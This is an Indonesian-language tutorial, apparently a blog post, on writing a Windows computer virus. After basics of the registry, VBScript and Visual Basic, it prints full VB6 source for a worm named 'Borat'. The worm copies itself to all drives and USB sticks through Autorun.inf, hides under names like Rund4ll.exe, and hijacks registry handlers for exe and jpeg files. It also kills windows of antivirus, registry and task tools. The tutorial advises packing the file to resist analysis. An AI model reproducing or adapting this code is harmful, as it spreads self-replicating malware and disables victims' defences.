Sebelum melangkah lebih jauh lagi tentang bagaimana memulai dalam membuat virus ada baiknya ada beberapa
hal yang mesti dipelajari alam membuat virus komputer yaitu seperti yang ditulis dibawah ini.
Registry Windows
Registry Windows adalah suatu database yang digunakan untuk menyimpan pilihan dan pengaturan pada sistem Microsoft Windows versi 32 bit-Ke atas. Registry windows berisikan pengaturan dan informasi untuk semua hardware, software, user dan pilihan-pilihan yang berkaitan dengan komputer tersebut.
Masing-masing cabang utama disebut dengan Hive. Hive berisi key dan masing- masing key bisa berisi key-key yang lain (sub key), dan key bisa berisikan value. Ada tiga jenis data yang umumnya digunakan yaitu : String, Binary, dan DWORD – penggunaan masing-masing data ini tergantung pada konteks.
Adapun dibawah ini merupakan struktur Hive yang terdapat pada registry windows.
internet atau buku-buku yang membahas tentang Registry Windows.
Visual Basic Script
Visual merupakan bagian dari WSH (Windows Scripting Host). Yaitu bahasa scripting yang digunakan programmer web untuk mengakses script – script yang ada di windows. Visual Basic Script merupakan turunan visual basic, VBScript juga lebih mendukung untuk pembuatan fungsi – fungsi di windows, karena yang mebuat VBScript itu adalah pihak Microsoft sendiri.
Adapun langkah-langkah dalam menjalankan VBScript adalah sbb,
Coba=inputbox(“Halo Semuanya”,”IlmuKomputer”)
2. Setelah itu simpan dengan ekstensi *.vbs
Note : Pembahasan atau tutorial tentang VBScript dapat kalian cari pada internet
atau buku-buku yang membahas tentang VBScript
Visual Basic merupakan salah bahasa pemrograman tingkat tinggi yang dibuat oleh Microsoft. VB bersifat fleksibel dibanding dengan development tools lainnya. Karena VB tidak terlalu bergantung terhadap fungsi dari API (Application Programming Interface) pada windows, API sudah dimasukkan oleh Microsoft ke dalam VB sebagai file.dll. Visual Basic juga dibuat dengan interface yang ssangat mudah dipahami dan sangat user friendly.
Tipe Variabel
Variabel berguna untuk menyimpan atau menampung informasi atau data yang diperlukan oleh aplikasi. Dalam memberi nama variabel harus memiliki syarat sebagai berikut :
3. Karakter pertama berupa huruf
4. Tidak menggunakan kata yang termasuk kode program
Tipe Data | Ukuran | Jangkauan |
Byte | 1 byte | 0 s/d 255 |
Boolean | 2 byte | True and False |
Long | 4 byte | -2147483.648 s/d 2147483647 |
Integer | 2 byte | -32768 s/d 32767 |
Single | 4 byte | Negatif:-3.402823E38 s/d -1.401298E-45 Positif:1.401298e-45 s/d 3.402823E38 |
Double | 8 byte | Negatif:-1.79769313486232E308 s/d -4.94065645841247E-324 Positif:4.94065645841247E-324 s/d 1.79769313486232E308 |
Currency | 8 byte | -922337203685477.5808 s/d 922337203685477.5807 |
String | 1 byte | er karakter 0 s/d 2 Milyar karakter (95,97 & NT) dan 0 s/d sekitar 65535 karakter (versi 3.1) |
Date | 8 byte | 1 January 100 s/d 31 Desember 9999 |
Object | 4 byte | Referensi Object |
Aritmatika | Komparasi | Logika |
Pangkat (^) | Sama(=) | Not |
Negatif(-) | Tidak sama | And |
Kali dan Bagi (*,/) | Kurang dari(<) | Or |
Pembagian bulat(\) | Lebih dari(>) | Xor |
Sisa bagi(Mod) | Kurang dari atau sama (<=) | Eqv |
Tambah dan kurang (+,-) | Lebih dari atau sama (>=) | Imp |
Percabangan (Branching)
If kondisi Then
Pernyataan-pernyataan
End if
ElseIf kondisi2 then
Pernyataan2
Else
Blok pernyataan-n
End if
Percabangan Select Case
Pernyataan1
Case ekspresi2
Pernyataan2
Case Else ekspresi-n
Pernyataan-n
End Select
Perulangan (Looping)
Atau
Do
Atau
Do Until kondisi
Do
2. Perulangan For … Next
atau buku-buku yang membahas tentang Visual Basic
Metode yang Sering Digunakan
Adapun dalam pembuatan virus ada beberapa metode yang sering digunakan, yaitu.
Virus yang akan dibuat ini memiliki beberapa kriteria sebagai berikut :
3. Jika tidak ditemukan eksistensinya maka virus akan melakukan reproduksi
4. Mencari informasi tentang sistem operasi yang dinstall.
5. Sembunyi proses dari task list
6. Manipulasi system registry windows
7. Menampilkan pesan pada waktu yang telah ditentukan
iii. Visible : false
iii. Interval : -
1.
‘ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
‘ Module : Borat
‘ Author : Ajung a.k.a us3r130d0h
‘ Note : Example
‘ History : Di Sekretariat Bersama Mahasiswa Perguruan Tinggi Asia Malang
‘ _______________________________________________________________
Option Explicit
Private Declare Function CopyFile Lib “kernel32″ Alias _
“CopyFileA” (ByVal lpExistingFileName As String, ByVal _
lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDriveType Lib “kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib “kernel32″ Alias “GetWindowsDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private SF As String * 255
Private Declare Function GetSystemDirectory Lib “kernel32″ Alias _
“GetSystemDirectoryA” (ByVal lpBuffer As String, ByVal nSize _
As Long) As Long
Private Function DriveType(Drive As String) As String
Dim sAns As String, lAns As Long
If Len(Drive) = 1 Then Drive = Drive & “:\”
If Len(Drive) = 2 And Right$(Drive, 1) = “:” _
Then Drive = Drive & “\”
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = “Removable Drive”
Case 3
sAns = “Fixed Drive”
Case 4
sAns = “Remote Drive”
Case 5
sAns = “CD-ROM”
Case 6
sAns = “RAM Disk”
Case Else
sAns = “Drive Doesn’t Exist”
End Select
DriveType = sAns
End Function
Private Sub BoratGanda()
‘Deklarasikan variabel
Dim ictr As Integer
Dim sDrive As String
ReDim sDrives(0) As String
‘Fungsi Ascii 65 = A sampai dengan 90 = Z
For ictr = 65 To 90
sDrive = Chr(ictr) & “:\”
‘Jika tidak ditemukan drive yang dicari maka dilanjutkan tanpa menampilkan error message
If DriveType(sDrive) <> “Drive Doesn’t Exist” Then
‘Jika terjadi kesalahan maka progam tetap dijalankan
On Error Resume Next
‘Copykan file induk kemasing-masing drive
FileCopy App.Path & “\” & App.EXEName & “.exe”, sDrive & “Xvirs .exe”
End If
Next
End Sub
Private Sub Form_Load()
”Jika terjadi kesalahan maka progam tetap dijalankan
On Error Resume Next
‘Gunakan trik launcher dengan metode Shell Spawning
Dim Spawning As Variant
Spawning = Command()
Shell (Spawning), vbNormalFocus
‘Jika aplikasi program ini telah ditemukan berjalan pada sistem komputer
‘Maka eksekusi langsung file virus menjadi tidak aktif
If App.PrevInstance = True Then End
‘Panggil fungsi dari BoratGanda
‘(Kode Reproduksi)
Call BoratGanda
‘Copy file induk pada special folder yang ditemukan
‘Manipulasi dengan menambahkan file xServices.exe dan Rund4ll.exe
‘Agar file virus ini tersimpan pada memory komputer
FileCopy xBorat, BoratSpecialFolder(1) & “\xServices .exe”
FileCopy xBorat, BoratSpecialFolder(1) & “\Rund4ll .exe”
‘Manipulasi System Registry Windows
‘Dengan Asumsi file virus akan aktif jika user melakukan eksekusi
‘pada file yang berekstensikan *.exe dan *.Jpeg
SetStringValue “HKEY_CLASSES_ROOT\exefile\shell\open\command”, “”, _
“xServices.exe %1″
SetStringValue “HKEY_CLASSES_ROOT\exefile\jpegfile\open\command”, “”, _
“Rund4ll.exe %1″
End Sub
Private Sub tmrBoratKeluar_Timer()
‘Timer ini berfungsi untuk mematikan seluruh program yang titlenya berisikan
‘Seperti dibawah ini
On Error Resume Next
‘Panggil fungsi Api WinQuit
WinQuit “vir”
WinQuit “av”
WinQuit “safe”
WinQuit “start”
WinQuit “process”
WinQuit “spy”
WinQuit “autoruns”
WinQuit “hijack”
WinQuit “patrol”
WinQuit “alarm”
WinQuit “task”
WinQuit “config”
WinQuit “folder option”
WinQuit “system”
WinQuit “properties”
WinQuit “watson”
WinQuit “remov”
WinQuit “scan”
WinQuit “kill”
WinQuit “reg”
WinQuit “regedit”
WinQuit “www”
WinQuit “doc”
WinQuit “restore”
WinQuit “cmd”
WinQuit “command”
‘Akhir Sub
End Sub
Private Sub tmrBoratPesan_Timer()
‘Tampilkan pesan pada tanggal 9 bulan Februari
‘Dengan isi pesan sbb “Selamat Datang Pengalaman Baru”
On Error Resume Next
If (Day(Now) = 9 Or Month(Now) = 2) Then
MsgBox “Selamat Datang Pengalaman Baru”, vbCritical, “IlmuKomputer”
End If
End Sub
Private Sub tmrBoratRun_Timer()
‘sub ini berfungsi untuk melakukan penggandaan diri borat pada UFD
Dim bfile As String
Dim i As Byte
For i = 1 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i) & “\”) = 2 Then
If Len(Dir$(Drive1.List(i) & “\Autorun.inf”)) = 0 Then
CopyFile xBorat, Drive1.List(i) & “\xVirusq.exe”, False
SetAttr Drive1.List(i) & “\xVirusq.exe”, vbReadOnly
bfile = Drive1.List(i) & “\Autorun.inf”
Open bfile For Output As #1
Print #1, “[Autorun]“
Print #1, “Open=xVirusq.exe”
Print #1, “Shellexecute=xVirusq.exe”
Print #1, “Shell\auto\command=xVirusq.exe”
Print #1, “Shell=auto”
Close 1
SetAttr Drive1.List(i) & “\Autorun.inf”, vbReadOnly
End If
End If
Next i
End Sub
Private Function BoratSpecialFolder(value)
On Error Resume Next
Dim FolderValue As String
If value = 0 Then
FolderValue = Left(SF, GetWindowsDirectory(SF, 255))
End If
If value = 1 Then
FolderValue = Left(SF, GetSystemDirectory(SF, 255))
End If
If Right(FolderValue, 1) = “\” Then
FolderValue = Left(FolderValue, Len(FolderValue) – 1)
End If
BoratSpecialFolder = FolderValue
End Function
Private Function xBorat()
Dim WPath, WName As String
WPath = App.Path
If Right(WPath, 1) <> “\” Then
WPath = WPath & “\”
End If
WName = App.EXEName & “.exe”
xBorat = WPath & WName
End Function
ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function EnumWindows& Lib “user32″ (ByVal _
lpEnumFunc As Long, ByVal lParam As Long)
Private Declare Function GetWindowText Lib “user32″ Alias _
“GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As _
String, ByVal cch As Long) As Long
Private Declare Function IsWindowVisible& Lib “user32″ (ByVal _
hwnd As Long)
Private Declare Function GetParent& Lib “user32″ (ByVal hwnd As _
Long)
Private Declare Function EnableWindow Lib “user32″ (ByVal hwnd _
As Long, ByVal fEnable As Long) As Long
Dim sPattern As String, hFind As Long
Const WM_CLOSE = &H10
Private Function EnumWinProc(ByVal hwnd As Long, ByVal _
lParam As Long) As Long
Dim k As Long, sName As String
If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then
sName = Space$(128)
k = GetWindowText(hwnd, sName, 128)
If k > 0 Then
sName = Left$(sName, k)
If lParam = 0 Then sName = UCase(sName)
If sName Like sPattern Then
hFind = hwnd
EnumWinProc = 0
Exit Function
End If
End If
End If
EnumWinProc = 1
End Function
Private Function WinFind(sWild As String, Optional bMatchCase _
As Boolean = True) As Long
sPattern = sWild
If Not bMatchCase Then sPattern = UCase(sPattern)
EnumWindows AddressOf EnumWinProc, bMatchCase
WinFind = hFind
End Function
Function WinQuit(WindowsTitle As String)
On Error Resume Next
hFind = 0
Dim wincap As Long
Dim rtnval As Long
wincap = WinFind(“*” & WindowsTitle & “*”, False)
rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull)
End Function
Function WinAble(WindowsTitle As String, value As Boolean)
hFind = 0
On Error Resume Next
Dim wincap As Long
Dim rtnval As Long
wincap = WinFind(“*” & WindowsTitle & “*”, False)
rtnval = EnableWindow(wincap, value)
End Function
Setelah selesai pada pembuatan virus langkah terakhir adalah pengepackan file virus tersebut. Pengepackan file virus sangat penting sekali dimana algoritma dari file irus tersebut agar tidak mudah dibaca pada saat debuging oleh virus maker lainnya disamping itu membuat ukuran file dari virus menjadi lebih kecil sehingga tidak terlalu banyak mengambil tempat.
Tidak ada komentar:
Posting Komentar